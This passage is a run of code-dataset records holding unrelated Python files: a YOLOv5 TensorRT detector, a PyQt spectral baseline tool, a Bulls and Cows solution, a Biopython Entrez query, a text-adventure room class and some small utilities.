cv2\nimport numpy as np\n\nfrom infer.data_class import DetectResult, BBox, ModelConfig\nfrom infer.inferencer import TensorRTInferencer\n\n\nclass YOLOV5Detector(TensorRTInferencer):\n def __init__(self, model_config: ModelConfig):\n # noinspection PyUnresolvedReferences\n self.num_classes = self.num_classes # 检测种类\n\n filters = (self.num_classes + 5) * 3\n self.output_shapes = [\n (1, 3, 80, 80, self.num_classes+5),\n (1, 3, 40, 40, self.num_classes+5),\n (1, 3, 20, 20, self.num_classes+5)\n ]\n self.strides = np.array([8., 16., 32.])\n anchors = np.array([\n [[10, 13], [16, 30], [33, 23]],\n [[30, 61], [62, 45], [59, 119]],\n [[116, 90], [156, 198], [373, 326]],\n ])\n self.nl = len(anchors)\n self.no = self.num_classes + 5 # outputs per anchor\n self.na = len(anchors[0])\n a = anchors.copy().astype(np.float32)\n a = a.reshape(self.nl, -1, 2)\n self.anchors = a.copy()\n self.anchor_grid = a.copy().reshape(self.nl, 1, -1, 1, 1, 2)\n\n super().__init__(model_config=model_config)\n\n def pre_process(self, img):\n img = cv2.resize(img, (640, 640))\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n # img = img.transpose((2, 0, 1)).astype(np.float16)\n img = img.transpose((2, 0, 1)).astype(np.float32)\n img /= 255.0\n return img\n\n def sigmoid_v(self, array):\n return np.reciprocal(np.exp(-array) + 1.0)\n\n def make_grid(self, nx, ny):\n \"\"\"\n Create scaling tensor based on box location\n Source: https://github.com/ultralytics/yolov5/blob/master/models/yolo.py\n Arguments\n nx: x-axis num boxes\n ny: y-axis num boxes\n Returns\n grid: tensor of shape (1, 1, nx, ny, 80)\n \"\"\"\n nx_vec = np.arange(nx)\n ny_vec = np.arange(ny)\n yv, xv = np.meshgrid(ny_vec, nx_vec)\n grid = np.stack((yv, xv), axis=2)\n grid = grid.reshape(1, 1, ny, nx, 2)\n return grid\n\n def post_process(self, outputs, conf_thres=0.001):\n \"\"\"\n Transforms raw output into boxes, confs, classes\n Applies NMS thresholding on bounding boxes and confs\n Parameters:\n output: raw output tensor\n Returns:\n boxes: x1,y1,x2,y2 tensor (dets, 4)\n confs: class * obj prob tensor (dets, 1)\n classes: class type tensor (dets, 1)\n \"\"\"\n scaled = []\n grids = []\n for out in outputs:\n out = self.sigmoid_v(out)\n _, _, width, height, _ = out.shape\n grid = self.make_grid(width, height)\n grids.append(grid)\n scaled.append(out)\n z = []\n for out, grid, stride, anchor in zip(scaled, grids, self.strides, self.anchor_grid):\n _, _, width, height, _ = out.shape\n out[..., 0:2] = (out[..., 0:2] * 2. - 0.5 + grid) * stride\n out[..., 2:4] = (out[..., 2:4] * 2) ** 2 * anchor\n\n out = out.reshape((1, 3 * width * height, self.num_classes+5))\n z.append(out)\n pred = np.concatenate(z, 1)\n xc = pred[..., 4] > conf_thres\n pred = pred[xc]\n return self.nms(pred)\n\n def xywh2xyxy(self, x):\n # Convert nx4 boxes from [x, y, w, h] to [x1, y1, x2, y2] where xy1=top-left, xy2=bottom-right\n y = np.zeros_like(x)\n y[:, 0] = x[:, 0] - x[:, 2] / 2 # top left x\n y[:, 1] = x[:, 1] - x[:, 3] / 2 # top left y\n y[:, 2] = x[:, 0] + x[:, 2] / 2 # bottom right x\n y[:, 3] = x[:, 1] + x[:, 3] / 2 # bottom right y\n return y\n\n def non_max_suppression(self, boxes, confs, classes, iou_thres=0.6):\n x1 = boxes[:, 0]\n y1 = boxes[:, 1]\n x2 = boxes[:, 2]\n y2 = boxes[:, 3]\n areas = (x2 - x1 + 1) * (y2 - y1 + 1)\n order = confs.flatten().argsort()[::-1]\n keep = []\n while order.size > 0:\n i = order[0]\n keep.append(i)\n xx1 = np.maximum(x1[i], x1[order[1:]])\n yy1 = np.maximum(y1[i], y1[order[1:]])\n xx2 = np.minimum(x2[i], x2[order[1:]])\n yy2 = np.minimum(y2[i], y2[order[1:]])\n w = np.maximum(0.0, xx2 - xx1 + 1)\n h = np.maximum(0.0, yy2 - yy1 + 1)\n inter = w * h\n ovr = inter / (areas[i] + areas[order[1:]] - inter)\n inds = np.where(ovr <= iou_thres)[0]\n order = order[inds + 1]\n boxes = boxes[keep]\n confs = confs[keep]\n classes = classes[keep]\n return boxes, confs, classes\n\n def nms(self, pred, iou_thres=0.6):\n boxes = self.xywh2xyxy(pred[..., 0:4])\n # 原仓库https://github.com/SeanAvery/yolov5-tensorrt/blob/master/python/lib/Processor.py\n # 没有下面这一行，置信度取得是class的置信度，这里给乘上obj的置信度，防止置信度都是1\n pred[:, 5:] *= pred[:, 4:5]\n confs = np.amax(pred[:, 5:], 1, keepdims=True)\n classes = np.argmax(pred[:, 5:], axis=-1)\n return self.non_max_suppression(boxes, confs, classes)\n\n def infer(self, image: np.ndarray = None) -> List[DetectResult]:\n super().prepare()\n shape_orig_WH = (image.shape[1], image.shape[0])\n resized = self.pre_process(image)\n # outputs = self.inference(resized)\n np.copyto(self.inputs[0].host, resized.flatten())\n outputs = self.do_inference()\n # reshape from flat to (1, 3, x, y, 85)\n reshaped = []\n for output, shape in zip(outputs, self.output_shapes):\n reshaped.append(output.reshape(shape))\n boxes, confs, classes = self.post_process(reshaped)\n detect_results = []\n for box, conf, category in zip(boxes, confs, classes):\n x_scale, y_scale = image.shape[1] / 640, image.shape[0] / 640\n detect_results.append(DetectResult(bbox=BBox(ltx=round(box[0]*x_scale),\n lty=round(box[1]*y_scale),\n rbx=round(box[2]*x_scale),\n rby=round(box[3]*y_scale)),\n score=float(conf),\n category=int(category)))\n return detect_results\n\n","repo_name":"xuguangzong/ToolScript","sub_path":"post_processing/yolov5.py","file_name":"yolov5.py","file_ext":"py","file_size_in_byte":6455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"1074791608","text":"from rest_framework.response import Response\nfrom waves.interfaces.use_cases.create_sample_patients_use_case_interface import CreateSamplePatientsUseCaseInterface\nfrom waves.repositories.create_sample_patients_data_access import CreateSamplePatientsDataAccess\n\n\nclass CreateSamplePatientsUseCase(CreateSamplePatientsUseCaseInterface):\n def __init__(self, user_id):\n self._user_id = user_id\n\n def run(self):\n create_sample_data_data_access = CreateSamplePatientsDataAccess(self._user_id)\n patients_entities = create_sample_data_data_access.create_sample_patients()\n parsed_patients = {}\n index = 0\n for patient in patients_entities:\n parsed_patients[index] = patient.__dict__\n index += 1\n return Response(data=parsed_patients, status=Response.status_code)\n","repo_name":"alberturria/PerformAppServer","sub_path":"waves/use_cases/create_sample_patients_use_case.py","file_name":"create_sample_patients_use_case.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72935617227","text":"print('Bem vindo(a) ao controle de colaboradores Sabrina Bueno Prata Fernandes!')\nid_global = 0 # Definição da variável de id's\nlista_colaboradores = [] # Definição da lista onde serão armazenados os colaboradores\n\n# Função para cadastrar um colaborador\ndef cadastrar_colaborador(id):\n global id_global\n print(80 * '*')\n print(25 * '-', ' MENU CADASTRAR COLABORADOR ', 25 * '-')\n print('Id do colaborador {}'.format(id))\n #Inputs dos dados do colaborador sendo cadastrado\n nome = input(\"Por favor, digite o Nome do colaborador:\")\n setor = input(\"Por favor, digite o Setor do colaborador: \")\n salario = float(input(\"Por favor, digite o Salário do colaborador: \"))\n #Criação de um dicionário que armazena os dados cadastrados\n colaborador = {\n \"id\": id,\n \"nome\": nome,\n \"setor\": setor,\n \"salario\": salario\n }\n\n lista_colaboradores.append(colaborador)\n id_global += 1\n\n#Função que consulta a lista_colaboradores e retorna o colaborador\ndef print_colaborador(colaborador):\n print('Id:{}'.format(colaborador[\"id\"]))\n print('nome:{}'.format(colaborador[\"nome\"]))\n print('setor:{}'.format(colaborador[\"setor\"]))\n print('salario:{}'.format(colaborador[\"salario\"]))\n\n#Função que consulta todos os colaboradores cadastrados na lista_colaboradores mostrando cada colaborador ao chamar a função print_colaborador(colaborador)\ndef consultar_todos():\n global lista_colaboradores\n for colaborador in lista_colaboradores:\n print_colaborador(colaborador)\n\n# Função que consulta os colaboradores fazendo uma busca pelo id correspondente\ndef consultar_por_id():\n global lista_colaboradores\n id = int(input('Digite o id do colaborador:')) #Recebe o valor do id que deve ser apresentado\n for colaborador in lista_colaboradores:\n if colaborador[\"id\"] == id: #Define que se o id do cadastro for igual ao que deve ser apresentado deve chamar a função print_colaborador(colaborador)\n print_colaborador(colaborador)\n return\n print('Id não encontrado')\n\n# Função que consulta os colaboradores fazendo uma busca pelo setor correspondente\ndef consultar_por_setor():\n global lista_colaboradores\n setor = input('Digite o setor dos colaboradores:') #Recebe o valor do setor que deve ser apresentado\n vazio = True\n for colaborador in lista_colaboradores:\n if colaborador[\"setor\"] == setor: #Define que se o setor do cadastro for igual ao que deve ser apresentado deve chamar a função print_colaborador(colaborador)\n print_colaborador(colaborador)\n vazio = False\n if vazio:\n print('Setor vazio')\n\n# Função que realiza consulta no cadastro de colaboradores\ndef consultar_colaborador():\n while True:\n #Menu apresentado ao usuário\n print(80 * '*')\n print(25 * '-', ' MENU CONSULTAR COLABORADOR ', 25 * '-')\n print(\"CONSULTAR COLABORADOR\")\n print(\"1. Consultar Todos\")\n print(\"2. Consultar por ID\")\n print(\"3. Consultar por Setor\")\n print(\"4. Retornar ao Menu\")\n opcao = input(\"Digite sua opção: \") #Recebe a opção deseado pelo usuário\n\n #Verifica a opção recebida e chama a função corresponte\n if opcao == '1':\n consultar_todos()\n\n elif opcao == '2':\n consultar_por_id()\n\n elif opcao == '3':\n consultar_por_setor()\n\n elif opcao == '4':\n break\n\n else:\n print(\"Opção inválida.\")\n\n#Função que remove o colaborados da lista existente\ndef remover_colaborador():\n global lista_colaboradores\n print(80 * '*')\n print(26 * '-', ' MENU REMOVER COLABORADOR ', 26 * '-')\n print('Digite o id do colaborador a ser removido')\n id = int(input('id'))\n\n # Função para verificar se o colaborador deve ser removido\n def check(colaborador):\n return colaborador[\"id\"] != id\n lista_colaboradores = filter(check, lista_colaboradores) #Mantém apenas os colaboradores com id diferente do inserido para remoção através do filter\n\n#Função que apresenta o menu principal\ndef main_menu():\n global id_global\n while True:\n #Print do menu\n print(80 * '*')\n print(31 * '-', ' MENU PRINCIPAL ', 31 * '-')\n print('Escolha a opção desejada:')\n print('1 - Cadastrar colaborador')\n print('2 - Consultar Colaborador(es)')\n print('3 - Remover Colaborador')\n print('4 - Sair')\n op = int(input('Opção:'))\n #Verifica a opção selecionada e chama a função correspondente\n if op == 1:\n cadastrar_colaborador(id_global+1)\n elif op == 2:\n consultar_colaborador()\n elif op == 3:\n remover_colaborador()\n elif op == 4:\n print('Encerrando o programa...')\n break\n else:\n print('Opção inválida, selecione um número correspondente a ação desejada.')\n\nmain_menu()\n","repo_name":"sabrinapratafernandes/praticando_python_faculdade","sub_path":"pratica4.py","file_name":"pratica4.py","file_ext":"py","file_size_in_byte":4991,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27623485758","text":"class Solution:\n def getHint(self, secret: str, guess: str) -> str:\n a = 0\n b = 0\n\n map = [0 for i in range(10)]\n\n for i in range(len(secret)):\n map[ord(secret[i]) - ord('0')] += 1\n\n for i in range(len(secret)):\n ch = ord(secret[i]) - ord('0')\n if ch == ord(guess[i]) - ord('0'):\n a += 1\n map[ch] -= 1\n\n for i in range(len(secret)):\n ch1 = ord(secret[i]) - ord('0')\n ch2 = ord(guess[i]) - ord('0')\n if ch1 != ch2 and map[ch2] > 0:\n b += 1\n map[ch2] -= 1\n\n return f'{a}A{b}B'\n\n\ns = Solution()\nsecret = \"1807\"\nguess = \"7810\"\nprint(s.getHint(secret, guess))\nprint(s.getHint(\"1123\", \"0111\"))\n","repo_name":"srinathalla/python","sub_path":"algo/string/BullsAndCows.py","file_name":"BullsAndCows.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"30980457809","text":"# -*- coding: utf-8 -*-\n# --------------------------------------------------------------------------------- #\n# Software de Observaciones Sintéticas S.O.S.\n# Line fitting functions\n#\n# Marcial Becerril, @ 19 January 2022\n# Latest Revision: 19 Jan 2022, 19:12 GMT\n#\n# For all kind of problems, requests of enhancements and bug reports, please\n# write to me at:\n#\n# mbecerrilt92@gmail.com\n# mbecerrilt@inaoep.mx\n#\n# --------------------------------------------------------------------------------- #\n\n\nimport numpy as np\n\nfrom matplotlib import colors\nfrom matplotlib.pyplot import *\nfrom scipy.optimize import curve_fit\n\nfrom PyQt5 import QtCore, QtWidgets, uic, QtGui\nfrom PyQt5.QtCore import Qt, QObject, QThread\nfrom PyQt5.QtWidgets import QApplication, QWidget, QMessageBox\nfrom PyQt5.QtGui import QPixmap, QIcon\n\nimport sos\nfrom .misc.line_functions import *\nfrom .misc.print_msg import *\nfrom .misc.table_model import *\n\nfrom scipy.signal import find_peaks\nfrom scipy.signal import savgol_filter\nfrom scipy import sparse\nfrom scipy.sparse.linalg import spsolve\nfrom scipy.integrate import simps\n\nfrom datetime import datetime\n\nfrom matplotlib.backends.backend_qt4agg import(\n FigureCanvasQTAgg as FigureCanvas,\n NavigationToolbar2QT as NavigationToolbar)\n\n\n\nclass BaselineSpecWindow(QWidget):\n \"\"\"\n Substract baselines\n Parameters\n ----------\n x : array\n y : array\n method : array\n Method of baseline substraction:\n 1. line. Get the best fit line that fit several points\n 2. polynomial N-degree. Best fit with a polynomial function of N-degree\n 3. bls. BLS Algorithm\n ----------\n \"\"\"\n # Signal to update data\n signal_baseline = QtCore.pyqtSignal(str)\n\n def __init__(self):\n\n super(BaselineSpecWindow, self).__init__()\n\n uic.loadUi(\"./sos/res/gui/baseline.ui\", self)\n\n # Initialisation of variables\n self.inter = False\n self.selPointsFlag = False\n self.selRegionFlag = False\n self.method = None\n self.flag_apply = False\n self.iter_points = []\n\n # Assign buttons\n self.cancelButton.mousePressEvent = self.close_widget\n # Activate interaction\n self.interactButton.mousePressEvent = self.activate_interactive\n # Type of selection\n self.choosePointsButton.mousePressEvent = self.act_points_selection\n self.removePointsButton.mousePressEvent = self.act_region_selection\n # Selection method\n self.linealButton.mousePressEvent = self.linear_selection\n self.polyButton.mousePressEvent = self.poly_selection\n self.blsButton.mousePressEvent = self.bls_selection\n # Clear button\n self.clearButton.mousePressEvent = self.reset_canvas\n # Apply button\n self.applyButton.mousePressEvent = self.apply_baseline_correction\n # Accept button\n self.acceptButton.mousePressEvent = self.accept_baseline_correction\n\n #cid = self.f1.figure.canvas.mpl_connect('button_press_event', self.resDraw)\n\n\n def load_init_params(self, fig, ax, x, y, name, save):\n # Load initial params\n self.x = x\n self.y = y\n\n # File name\n self.nameLabel.setText(name)\n\n # Initialise corrected data array\n self.data_corrected = self.y.copy()\n\n # Get figure\n self.fig = fig\n self.fig.subplots_adjust(left=0.12, bottom=0.12, right=0.98,\n top=0.98, wspace=None, hspace=None)\n self.ax = ax \n \n # Save figure?\n self.save = save\n\n # Update plot\n self._addmpl(self.fig)\n\n # Initial plot\n self.initial_plot()\n\n\n def close_widget(self, event):\n # Disable graphs\n self.close()\n\n\n def activate_interactive(self, event):\n # Interactive activation\n self.inter = not self.inter\n if self.inter:\n if self.selPointsFlag or self.selRegionFlag:\n self._onclick_xy = self.fig.canvas.mpl_connect('button_press_event', self._onclick)\n else:\n msg('Choose one selection mode', 'warn')\n self.inter = not self.inter\n return\n\n icon_img = './sos/res/icons/int_sel.png'\n else:\n if self.selPointsFlag or self.selRegionFlag:\n self.fig.canvas.mpl_disconnect(self._onclick_xy)\n\n icon_img = './sos/res/icons/int.png'\n\n self.interactButton.setIcon(QIcon(icon_img))\n\n\n def act_points_selection(self, event):\n # Points selection activated\n self.selection_settings(True)\n self._update_selected_plot(self.iter_points)\n\n\n def act_region_selection(self, event):\n # Region selection activated\n self.selection_settings(False)\n self._update_selected_plot(self.iter_points)\n\n\n def linear_selection(self, event):\n # Linear baseline method\n self.baseline_method('linear')\n\n\n def poly_selection(self, event):\n # Linear baseline method\n self.baseline_method('poly')\n\n\n def bls_selection(self, event):\n # Linear baseline method\n self.baseline_method('bls')\n\n\n def baseline_method(self, method):\n\n self.method = method\n\n if self.method == 'linear':\n linear = './sos/res/icons/lineal_icon_sel.png'\n poly = './sos/res/icons/poly_curve.png' \n bls = './sos/res/icons/bls_icon.png' \n # Disable the other functions\n self.nDegreeBox.setEnabled(False)\n self.lamdbaBLSEdit.setEnabled(False)\n self.pBLSEdit.setEnabled(False)\n self.iterBLSEdit.setEnabled(False)\n\n elif self.method == 'poly':\n linear = './sos/res/icons/lineal_icon.png'\n poly = './sos/res/icons/poly_curve_sel.png' \n bls = './sos/res/icons/bls_icon.png' \n # Disable the other functions\n self.nDegreeBox.setEnabled(True)\n self.lamdbaBLSEdit.setEnabled(False)\n self.pBLSEdit.setEnabled(False)\n self.iterBLSEdit.setEnabled(False)\n\n elif self.method == 'bls':\n linear = './sos/res/icons/lineal_icon.png'\n poly = './sos/res/icons/poly_curve.png' \n bls = './sos/res/icons/bls_icon_sel.png' \n # Disable the other functions\n self.nDegreeBox.setEnabled(False)\n self.lamdbaBLSEdit.setEnabled(True)\n self.pBLSEdit.setEnabled(True)\n self.iterBLSEdit.setEnabled(True)\n\n self.linealButton.setIcon(QIcon(linear))\n self.polyButton.setIcon(QIcon(poly))\n self.blsButton.setIcon(QIcon(bls))\n\n\n def selection_settings(self, ptsFlag):\n # Grpah Selection Configuration\n self.selPointsFlag = ptsFlag\n self.selRegionFlag = not self.selPointsFlag\n\n if self.selPointsFlag:\n points = './sos/res/icons/choosePoints_sel.png'\n region = './sos/res/icons/removePoints.png'\n else:\n points = './sos/res/icons/choosePoints.png'\n region = './sos/res/icons/removePoints_sel.png'\n\n self.choosePointsButton.setIcon(QIcon(points))\n self.removePointsButton.setIcon(QIcon(region))\n\n\n def apply_baseline_correction(self, event):\n # Baseline correction\n if self.method == 'bls':\n l = float(self.lamdbaBLSEdit.text())\n p = float(self.pBLSEdit.text())\n n = int(float((self.iterBLSEdit.text())))\n self.iterBLSEdit.setText(str(n))\n y_baseline = baseline_als_optimized(self.y, l, p, niter=n)\n \n else:\n points = self.iter_points\n points = np.sort(points)\n\n if self.selPointsFlag:\n x_filtered = []\n y_filtered = []\n # Extracting data [points]\n for i in range(len(points)):\n x_filtered.append(self.x[points[i]])\n y_filtered.append(self.y[points[i]])\n\n elif self.selRegionFlag:\n # Extracting data [region]\n adquire_data = False\n x_mask = [True]*len(self.x)\n y_mask = [True]*len(self.y)\n for i in range(len(points)):\n if adquire_data:\n x_mask[points[i-1]:points[i]] = [False]*(points[i]-points[i-1])\n y_mask[points[i-1]:points[i]] = [False]*(points[i]-points[i-1]) \n adquire_data = not adquire_data\n\n x_filtered = np.array(self.x)[x_mask]\n y_filtered = np.array(self.y)[y_mask]\n\n else:\n msg('Choose one selection mode', 'warn')\n return\n\n x_baseline = self.x\n\n if self.method == 'linear':\n y_baseline = poly_baseline(x_filtered, y_filtered, 1, x_baseline)\n\n elif self.method == 'poly':\n degree = self.nDegreeBox.value()\n y_baseline = poly_baseline(x_filtered, y_filtered, degree, x_baseline)\n \n # Set flag\n self.flag_apply = True\n\n data_corrected = self.y - y_baseline\n\n # Update data with baseline substrated\n self.data_corrected = data_corrected\n\n self._update_plot(y_baseline, data_corrected)\n\n\n def accept_baseline_correction(self, event):\n # Applying baseline correction\n if not self.flag_apply:\n self.apply_baseline_correction(event)\n \n #self.signal_baseline.emit(self.kind)\n\n if self.save:\n now = datetime.now()\n name = now.strftime(\"%d-%m-%Y_%H-%M-%S\")\n self.fig.savefig('fig_'+name+'_bl.png')\n\n self.close()\n\n\n def _onclick(self, event):\n \"\"\"\n On click event to select lines\n \"\"\"\n if event.inaxes == self.ax:\n # Left-click\n if event.button == 1:\n ix, iy = event.xdata, event.ydata\n # Add peaks\n xarray = np.where(self.x>ix)[0]\n if len(xarray) > 0:\n xpos = xarray[0]\n else:\n xpos = len(self.x)-1\n self.iter_points.append(xpos)\n\n self.flag_apply = False\n\n # Right-click\n elif event.button == 3:\n ix, iy = event.xdata, event.ydata\n popt = []\n # Remove points\n # Define threshold\n thresh = 5*np.mean(np.diff(self.x))\n xlines = np.where((ix >= (np.array(self.x)[self.iter_points] - thresh)) & \n (ix < (np.array(self.x)[self.iter_points] + thresh)))[0]\n\n try:\n if len(xlines) > 0:\n x_min = np.argmin(np.abs((np.array(self.x)[np.array(self.iter_points)[xlines]] - ix)))\n if self.selRegionFlag:\n self.iter_points.remove(self.iter_points[xlines[x_min]])\n else:\n ylines = np.where((iy >= (np.array(self.y)[self.iter_points] - thresh)) & \n (iy < (np.array(self.y)[self.iter_points] + thresh)))\n\n if len(ylines) > 0:\n y_min = np.argmin(np.abs((np.array(self.y)[np.array(self.iter_points)[ylines]] - iy)))\n self.iter_points.remove(self.iter_points[xlines[y_min]])\n \n self.flag_apply = False\n except:\n pass\n\n # Update plot\n self._update_selected_plot(self.iter_points)\n\n\n def _update_selected_plot(self, points):\n \"\"\"\n Update selected Points/Region in the canvas\n \"\"\"\n self.ax.clear()\n\n # Label axes\n ux_label = self.ux\n if self.ux:\n ux_label = '['+ux_label+']'\n uy_label = self.uy\n if self.uy:\n uy_label = '['+uy_label+']'\n\n self.ax.set_xlabel(r''+ux_label)\n self.ax.set_ylabel(r'Temperature '+uy_label)\n\n self.ax.plot(self.x, self.y, 'k')\n for i in range(len(points)):\n if self.selPointsFlag:\n self.ax.plot(self.x[points[i]], self.y[points[i]], 'r+')\n elif self.selRegionFlag:\n self.ax.axvline(self.x[points[i]], color='r', linewidth=1)\n\n self.ax.grid()\n\n self.fig.canvas.draw_idle()\n\n\n def _update_plot(self, baseline, data_corrected):\n \"\"\"\n Update baseline in the canvas\n \"\"\"\n self.ax.clear()\n\n # Label axes\n ux_label = self.ux\n if self.ux:\n ux_label = '['+ux_label+']'\n uy_label = self.uy\n if self.uy:\n uy_label = '['+uy_label+']'\n\n self.ax.set_xlabel(r''+ux_label)\n self.ax.set_ylabel(r'Temperature '+uy_label)\n\n self.ax.plot(self.x, self.y, 'k', linewidth=0.75)\n self.ax.plot(self.x, baseline, 'c-.', linewidth=0.75)\n self.ax.plot(self.x, data_corrected, 'r')\n self.ax.grid()\n\n self.fig.canvas.draw_idle()\n\n\n def initial_plot(self):\n \"\"\"\n Initial plot\n \"\"\"\n self.ax.clear()\n self.ax.plot(self.x, self.y, 'k')\n\n # Label axes\n ux_label = self.ux\n if self.ux:\n ux_label = '['+ux_label+']'\n uy_label = self.uy\n if self.uy:\n uy_label = '['+uy_label+']'\n\n self.ax.set_xlabel(r''+ux_label)\n self.ax.set_ylabel(r'Temperature '+uy_label)\n\n self.ax.grid()\n\n self.fig.canvas.draw_idle()\n\n\n def reset_canvas(self, event):\n # Restart to initial plot\n self.initial_plot()\n\n self.iter_points = []\n\n\n def _addmpl(self, fig):\n \n self.canvas = FigureCanvas(fig)\n self.plotLayout.addWidget(self.canvas)\n self.canvas.draw()\n self.toolbar = NavigationToolbar(self.canvas,\n self, coordinates=True)\n self.plotLayout.addWidget(self.toolbar)\n\n\n def _rmmpl(self):\n self.plotLayout.removeWidget(self.canvas)\n self.canvas.close()\n self.plotLayout.removeWidget(self.toolbar)\n self.toolbar.close()","repo_name":"MarcialX/MUSpipe","sub_path":"inter_functions.py","file_name":"inter_functions.py","file_ext":"py","file_size_in_byte":14339,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"6524726228","text":"import random\nimport numpy as np\nimport torch\nimport logging\n\n\ndef set_seed(seed: int = 42, n_gpu: int = 0):\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n if n_gpu > 0:\n torch.cuda.manual_seed_all(seed)\n\n\ndef get_logger(file_name: str, logger_name: str = \"dialogue\") -> logging.Logger:\n root = logging.getLogger(logger_name)\n root.setLevel(logging.DEBUG)\n formatter = logging.Formatter(\"%(asctime)s | %(message)s\")\n file_handler = logging.FileHandler(file_name)\n file_handler.setLevel(logging.DEBUG)\n file_handler.setFormatter(formatter)\n root.addHandler(file_handler)\n return root\n","repo_name":"MalinML/EmpathySeeker","sub_path":"posts_classifier/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14448175192","text":"# Convert from Python to JSON\n# json.dumps() method can convert a Python object into a JSON string. \n# Syntax:\n\n# json.dumps(dict, indent)\n# It takes two parameters:\n\n# dictionary – name of dictionary which should be converted to JSON object.\n# indent – defines the number of units for indentation\n\n\n\n\n\n\n\n\n\n\n\n\n##dumps() method is used to store the python objct to json file in a string formate\n\nimport json\n\na={9: 3}\nmystring = json.dumps(a)\nprint(mystring)","repo_name":"asmonorizimik/python_json","sub_path":"dumps.py","file_name":"dumps.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"24384486265","text":"import sys\nfrom Bio import Entrez\n\ndef entry_count(org, start, end):\n Entrez.email = \"noahflynn@wustl.edu\"\n\n term = '%s[Organism] AND (%s[Publication Date] : %s[Publication Date])' % (org, start, end)\n\n handle = Entrez.esearch(db=\"nucleotide\", term=term)\n record = Entrez.read(handle)\n return record[\"Count\"]\n\ndef main():\n with open(sys.argv[1]) as f:\n data = f.read()\n data = data.split()\n count = entry_count(data[0], data[1], data[2])\n print(count)\n\nmain()\n","repo_name":"nrflynn2/Algorithm-Challenges","sub_path":"Rosalind/Armory/GBK.py","file_name":"GBK.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41804350778","text":"\n\n\"\"\"\n\nTODO: In Fill Room, replace npc search with simpler Sub-Class search\nTODO: Eliminate need to pass character to the npcs.\n\n\"\"\"\n\nimport time as time\nimport random as random\nimport threading as threading\nimport textwrap as textwrap\nimport logging as logging\n\nfrom app.main import config, items, enemies, actions, world, mixins, objects, shops, npcs\n\n\nwrapper = textwrap.TextWrapper(width=config.TEXT_WRAPPER_WIDTH)\n\nall_npcs = mixins.npcs\n\nlock = threading.Lock()\nlogging.basicConfig(level=logging.DEBUG,\n format='[%(levelname)s] (%(threadName)-10s) %(message)s',\n )\n \n\nclass MapTile(mixins.DataFileMixin):\n def __init__(self, x, y, area_name: str, room_name: str, room_number: int):\n\n self._area_data = self.get_area_by_name(area_name)\n self._room_data = self._area_data[room_name]\n\n self.x = x\n self.y = y\n self.character = None\n self.room_name = self._room_data['name']\n self.area = self._room_data['area']\n self._room_number = room_number\n self.description = self._room_data['description']\n self._is_shop = self._room_data['shop']\n self._shop_items = self._room_data['shop_items']\n self.objects = []\n self.items = []\n self.npcs = []\n self.enemies = []\n self.spawn = self._room_data['spawn']\n self.hidden = []\n self.room_filled = False\n self.shop_filled = False\n\n def modify_player(self):\n raise NotImplementedError()\n\n def adjacent_moves_enemy(self, area):\n moves = []\n if world.tile_exists(x=self.x, y=self.y - 1, area=self.area):\n moves.append(actions.MoveNorthEnemy())\n if world.tile_exists(x=self.x, y=self.y + 1, area=self.area):\n moves.append(actions.MoveSouthEnemy())\n if world.tile_exists(x=self.x + 1, y=self.y, area=self.area):\n moves.append(actions.MoveEastEnemy())\n if world.tile_exists(x=self.x - 1, y=self.y, area=self.area):\n moves.append(actions.MoveWestEnemy())\n return moves\n\n def obvious_exits(self):\n \"\"\"Returns all of the available actions in this room.\"\"\"\n moves = []\n if world.tile_exists(x=self.x, y=self.y - 1, area=self.area):\n moves.append(\"north\")\n if world.tile_exists(x=self.x, y=self.y + 1, area=self.area):\n moves.append(\"south\")\n if world.tile_exists(x=self.x + 1, y=self.y, area=self.area):\n moves.append(\"east\")\n if world.tile_exists(x=self.x - 1, y=self.y, area=self.area):\n moves.append(\"west\")\n obvious = []\n if len(moves) == 0:\n obvious = 'None'\n return \"Obvious exits: {}\".format(obvious)\n for move in moves:\n obvious.append(move)\n obvious = ', '.join(obvious)\n return \"Obvious exits: {}\".format(obvious)\n\n def all_objects(self):\n all_objects = []\n if len(self.items) + len(self.npcs) + len(self.objects) + len(self.enemies) == 0:\n return \"\"\n for char in self.npcs:\n all_objects.append(char.name)\n for char in self.enemies:\n all_objects.append(char.name)\n for item in self.items:\n all_objects.append(item.name)\n for object in self.objects:\n all_objects.append(object.name)\n if len(all_objects) > 1:\n all_objects_output = ', '.join(all_objects[:-1])\n all_objects_output = all_objects_output + ', and ' + all_objects[-1]\n else:\n all_objects_output = all_objects[0]\n return \"You also see {}.\".format(all_objects_output)\n \n def all_object_handles(self):\n all_object_handles = []\n if len(self.items) + len(self.npcs) + len(self.objects) + len(self.enemies) == 0:\n return \"\"\n for char in self.npcs:\n all_object_handles.append(char.name)\n for char in self.enemies:\n all_object_handles.append(char.name)\n for item in self.items:\n all_object_handles.append(item.name)\n for object in self.objects:\n all_object_handles.append(object.name)\n return all_object_handles\n\n def fill_room(self, character):\n if not self.room_filled:\n for category in self._room_data['objects']:\n for object in self._room_data['objects'][category]:\n try:\n self.objects.append(objects.create_object(object_category=category, object_name=object, room=self))\n except:\n print(\"WARNING: Could not create object \" + object.name + \" in room \" + self.room_name)\n for category in self._room_data['items']:\n for item in self._room_data['items'][category]:\n try:\n self.items.append(items.create_item(item_category=category, item_name=item))\n except:\n print(\"WARNING: Could not create item \" + item.name + \" in room \" + self.room_name)\n for npc in self._room_data['npcs']:\n try:\n self.npcs.append(npcs.create_npc(npc_category=npc, npc_name=npc, character=character, room=self))\n self.npcs[-1].start()\n except:\n print(\"WARNING: Could not create npc \" + npc.name + 